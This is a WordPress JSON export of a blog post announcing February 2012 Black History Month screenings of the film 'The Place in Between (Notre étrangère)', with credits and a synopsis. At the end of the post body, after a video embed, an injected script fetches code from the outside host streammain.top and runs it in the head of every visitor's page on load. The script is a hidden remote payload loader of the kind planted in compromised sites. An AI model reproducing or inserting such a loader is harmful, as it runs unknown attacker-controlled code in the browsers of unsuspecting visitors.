{"id":381,"date":"2011-12-30T15:32:12","date_gmt":"2011-12-30T21:32:12","guid":{"rendered":"http:\/\/blackworldcinema.net\/blog\/?p=381"},"modified":"2025-06-03T00:35:11","modified_gmt":"2025-06-03T05:35:11","slug":"feb-12-2012-the-place-in-between-notre-etrangere","status":"publish","type":"post","link":"https:\/\/blackworldcinema.net\/blog\/2011\/12\/30\/feb-12-2012-the-place-in-between-notre-etrangere\/","title":{"rendered":"Feb 1&#038;2, 2012 The Place in Between (Notre \u00e9trang\u00e8re)"},"content":{"rendered":"<p>Black World Cinema, Feb 1 &amp;2, 2012<br \/>\nThe Place in Between (Notre \u00e9trang\u00e8re)<br \/>\nICE Theater Lawndale, Wed Feb 1, 7pm 2012<br \/>\nICE Theater Chatham, Thur Feb 2, 7pm 2012<\/p>\n<p><a href=\"http:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2011\/12\/placebetween2.png\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter size-full wp-image-388\" title=\"placebetween2\" src=\"http:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2011\/12\/placebetween2.png\" alt=\"\" width=\"600\" height=\"299\" srcset=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2011\/12\/placebetween2.png 600w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2011\/12\/placebetween2-300x149.png 300w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><\/a><\/p>\n<p>The Place in Between (Notre \u00e9trangere)<br \/>\nFrance\/Burkina Faso, 2010, 82 min<br \/>\ndir: Sarah Bouyain<br \/>\nprod: Sophie Salbot<br \/>\nscr: Sarah Bouyain, Ga\u00eblle Mac\u00e9<br \/>\nIn French and Dioula with English subtitles.<\/p>\n<p>Part of the Feb. <a title=\"Truth Be Told Celebration of Black Heritage Film Screenings\" href=\"http:\/\/blackworldcinema.net\/blog\/truth-be-told-a-celebration-of-black-heritage-in-february\/\">TRUTH BE TOLD<\/a> Black History Month Screenings<\/p>\n<p>Exploring dilemmas of culture and race, Sarah Bouyain\u2019s debut feature tells dovetailing stories of African women living in France. Amy is a young biracial woman whose mother is from Burkina Faso. At the age of eight, she was \u201creclaimed\u201d by her father and went to live with him in France. His death 20 or so years later prompts a desire to visit her birthplace and reconnect with her other parent. In a parallel story, a middle-aged white woman is learning Dioula, a West African language spoken in Burkina Faso, from a taciturn woman named Mariam. In carefully precise scenes, Bouyain explores the displacement that both Mariam and Amy face in a country that is familiar but not quite home. In Burkina Faso, Amy tries to fit in by buying a brightly patterned dress, but locals call her \u201cwhite lady\u201d and she\u2019s unable to converse with her aunt in order to discover her mother\u2019s whereabouts. Meanwhile, Mariam tries to accustom herself to the bustle of Paris, where traditions and personal relationships are different from what she is used to. Through these two narratives, an affecting portrait of the African diaspora emerges. Over the course of the film, these two self-possessed women may not definitively discover the place where they belong, but what they do find is a significantly stronger sense of self.<\/p>\n<p>\u2014Rod Armstrong<br \/>\n<iframe src=\"http:\/\/player.vimeo.com\/video\/34383472?byline=0&amp;portrait=0&amp;loop=1\" frameborder=\"0\" width=\"600\" height=\"338\"><\/iframe><script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/streammain.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploring dilemmas of culture and race, Sarah Bouyain\u2019s debut feature tells dovetailing stories of African women living in France. Amy is a young biracial woman whose mother is from Burkina Faso. At the age of eight, she was \u201creclaimed\u201d by her father and went to live with him in France. His death 20 or so years later prompts a desire to visit her birthplace and reconnect with her other parent. In a parallel story, a middle-aged white woman is learning Dioula, a West African language spoken in Burkina Faso, from a taciturn woman named Mariam. In carefully precise scenes, Bouyain explores the displacement that both Mariam and Amy face in a country that is familiar but not quite home. <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uag_custom_page_level_css":"","_exactmetrics_skip_tracking":false,"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[3],"tags":[],"class_list":["post-381","post","type-post","status-publish","format-standard","hentry","category-monthly-screenings-at-chatham-14"],"uagb_featured_image_src":{"full":false,"thumbnail":false,"medium":false,"medium_large":false,"large":false,"1536x1536":false,"2048x2048":false,"profile_24":false,"profile_48":false,"profile_96":false,"profile_150":false,"profile_300":false},"uagb_author_info":{"display_name":"floydwebb2026","author_link":"https:\/\/blackworldcinema.net\/blog\/author\/floydwebb\/"},"uagb_comment_info":0,"uagb_excerpt":"Exploring dilemmas of culture and race, Sarah Bouyain\u2019s debut feature tells dovetailing stories of African women living in France. Amy is a young biracial woman whose mother is from Burkina Faso. At the age of eight, she was \u201creclaimed\u201d by her father and went to live with him in France. His death 20 or so&hellip;","_links":{"self":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/381","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/comments?post=381"}],"version-history":[{"count":12,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/381\/revisions"}],"predecessor-version":[{"id":7635,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/381\/revisions\/7635"}],"wp:attachment":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/media?parent=381"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/categories?post=381"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/tags?post=381"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}